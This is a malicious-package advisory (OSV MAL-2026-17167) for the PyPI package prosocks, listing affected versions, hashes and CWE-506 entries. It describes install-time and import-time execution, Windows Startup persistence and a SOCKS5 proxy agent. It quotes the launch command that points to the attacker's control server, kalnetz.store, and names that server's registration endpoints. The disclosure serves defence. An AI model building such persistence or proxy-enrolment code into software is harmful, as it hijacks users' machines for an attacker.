Malicious code in prosocks (PyPI)
--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (cb2bf0fd5f445eed9825601f2b4497502054176d106d4fecb9eabf38312dd582) prosocks 1.0.25 enrolls the installer's host as a remote-controlled SOCKS5 exit node under a hardcoded control plane at https://kalnetz.store. setup.py's custom install command writes prosocks.bat into the Windows Startup folder (establishing boot persistence) with the command '"{python_exe}" -m prosocks https://kalnetz.store' and immediately spawns that process during `pip install`. The top-level module additionally calls _auto_launch() so that any `import prosocks` spawns a detached subprocess running the same agent. Once running, ProSocksAgent.register() queries ip-api.com and api.ipify.org for the host's public IP, generates an agent_id and proxy password, and POSTs agent_id, hostname, public IP, proxy port, and password to https://kalnetz.store/api/register, then binds a SOCKS5 server on 0.0.0.0:9050 accessible from any network the host can reach. Heartbeat and bandwidth telemetry are POSTed to /api/heartbeat and /api/bandwidth, and IP changes trigger re-registration. All requests to the panel and IP-lookup services are made with TLS verification disabled (verify=False). The combination of install-time execution, import-time execution, Windows Startup persistence, hardcoded non-first-party control plane, and an unauthenticated SOCKS5 listener on all interfaces whose credentials are handed to that control plane matches
MAL-2026-17167
Primary source · Revision 1
Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.
Security context
Source reference: osv:MAL-2026-17167
prosocks
Source reference: /affected/0/package/name
- Affected versions
- 1.0.0
Source reference:
/affected/0/versions1.0.1Source reference:
/affected/0/versions1.0.2Source reference:
/affected/0/versions1.0.3Source reference:
/affected/0/versions1.0.4Source reference:
/affected/0/versions1.0.5Source reference:
/affected/0/versions1.0.6Source reference:
/affected/0/versions1.0.7Source reference:
/affected/0/versions1.0.8Source reference:
/affected/0/versions1.0.9Source reference:
/affected/0/versions1.0.13Source reference:
/affected/0/versions1.0.14Source reference:
/affected/0/versions1.0.15Source reference:
/affected/0/versions1.0.16Source reference:
/affected/0/versions1.0.17Source reference:
/affected/0/versions1.0.18Source reference:
/affected/0/versions1.0.19Source reference:
/affected/0/versions1.0.20Source reference:
/affected/0/versions1.0.21Source reference:
/affected/0/versions1.0.22Source reference:
/affected/0/versions1.0.23Source reference:
/affected/0/versions1.0.25Source reference:
/affected/0/versions1.0.26Source reference:
/affected/0/versions1.0.27Source reference:
/affected/0/versions1.0.32Source reference:
/affected/0/versions1.0.28Source reference:
/affected/0/versions1.0.29Source reference:
/affected/0/versions1.0.30Source reference:
/affected/0/versions - Fixed versions
- Not stated in this record
- Prerequisites
- Not stated in this record
Structured affected-version data
Original package identities and version rules from this source.
[
{
"package": {
"name": "prosocks",
"purl": "pkg:pypi/prosocks",
"ecosystem": "PyPI"
},
"versions": [
"1.0.0",
"1.0.1",
"1.0.2",
"1.0.3",
"1.0.4",
"1.0.5",
"1.0.6",
"1.0.7",
"1.0.8",
"1.0.9",
"1.0.13",
"1.0.14",
"1.0.15",
"1.0.16",
"1.0.17",
"1.0.18",
"1.0.19",
"1.0.20",
"1.0.21",
"1.0.22",
"1.0.23",
"1.0.25",
"1.0.26",
"1.0.27",
"1.0.32",
"1.0.28",
"1.0.29",
"1.0.30"
],
"database_specific": {
"cwes": [
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
},
{
"name": "Embedded Malicious Code",
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature."
}
],
"source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/pypi/prosocks/MAL-2026-17167.json",
"indicators": {
"evidence_files": [
{
"path": "prosocks.py",
"tlsh": "51624345e4154ca6c28b851ac423b6573b9eb9070a4f643cb8fce3886f9413561f9ef6",
"sha256": "36e4b6471122c9d7adf077850e052721b68b19e2e8c4a29446f84bc383fad0dc"
},
{
"path": "setup.py",
"tlsh": "24212167c87f653445c283a1585f29261beb82134f08e8e478ed52640fcf03e846c76b",
"sha256": "1e1f7b6e7c501565e08841ff785e48587698b4355bd8883473ca26545e08ee5c"
}
],
"package_integrity": [
{
"hashes": {
"md5": "969239bdda594fef437704e5e716a113",
"sha256": "3803ebd4d544b4f5a72408edfaa03fb586fdaacaa7cf6dfa37777ebf6b397520",
"blake2b_256": "1429615116396984a5e55879c1e85c3da7d018d604bf132cf7e000ffca0ac712"
},
"filename": "prosocks-1.0.22-py3-none-any.whl"
},
{
"hashes": {
"md5": "276fa254d49e89bcee722564b084a8ee",
"sha256": "3bd6f1e0cf535577b8185a51761f1b09fca1dd89b5b64a2a92dc2133b119e9c6",
"blake2b_256": "cf40d567a0e466c45e56aa9b8e003ff959cc6734691bd6e4a4ccbefd4716dd53"
},
"filename": "prosocks-1.0.22.tar.gz"
}
]
}
}
}
]Publisher severity
No explicit severity was provided.
- Event
- #33432 · Revision 1
- Added to Heist Feed
- Publisher date